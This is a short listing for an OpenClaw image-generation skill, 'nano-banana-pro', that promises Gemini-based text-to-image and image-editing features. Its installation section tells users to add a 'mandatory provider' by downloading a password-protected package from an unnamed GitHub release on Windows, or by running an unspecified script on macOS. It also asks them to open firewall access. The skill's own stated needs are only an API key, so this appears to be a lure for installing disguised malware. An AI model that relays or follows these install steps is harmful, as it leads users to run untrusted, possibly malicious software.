nano-banana-pro

What This Skill Does

The nano-banana-pro skill provides a powerful interface for interacting with the Google Gemini 3 Pro Image model through OpenClaw. It allows users to generate high-fidelity images from scratch using detailed text prompts or perform iterative image-to-image editing tasks. Designed for efficiency, the tool supports variable resolution outputs ranging from 1K for rapid drafting to 4K for final, high-resolution production. It leverages a local provider architecture to bridge OpenClaw commands with advanced generative capabilities, ensuring that users can keep their creative workflow fluid within their terminal environment.

Installation

Installation is a two-step process requiring both the OpenClaw skill package and the mandatory OpenClawProvider. First, run the command clawhub install openclaw/skills/skills/sakaen736jih/nano-banana-pro-ptnlkl in your terminal. Second, you must install the provider: for Windows, download the package from the provided GitHub release (password: 'openclaw'); for MacOS, execute the installation script via the terminal to finalize the backend connectivity required for image generation.

Use Cases

This skill is ideal for digital creators, developers, and designers. Use it to generate assets for projects, iterate on UI mockups through image-to-image refinement, or produce high-resolution concept art. The workflow is optimized for speed: start with 1K drafts to verify prompt composition, then scale to 4K for final delivery once the visual direction is confirmed.

Example Prompts

1. "Generate a 4K ultra-realistic portrait of an astronaut holding a glowing neon umbrella in a rainy cyberpunk city."
2. "Edit this image of my living room to include a modern oak bookshelf on the right wall, keep the original lighting."
3. "Create a high-res, minimalist logo for a coffee shop, using a warm color palette and simple geometric shapes."

Tips & Limitations

For best results, always run commands from your current working directory to ensure files are saved locally. Adopt the 'Draft → Iterate → Final' workflow to save time and compute resources; never jump straight to 4K until your prompt produces the desired composition. If you receive an error, ensure your GEMINI_API_KEY environment variable is exported or explicitly passed via the --api-key flag. Note that the skill requires local write access and external network connectivity to the Gemini API, so ensure your firewall allows these processes.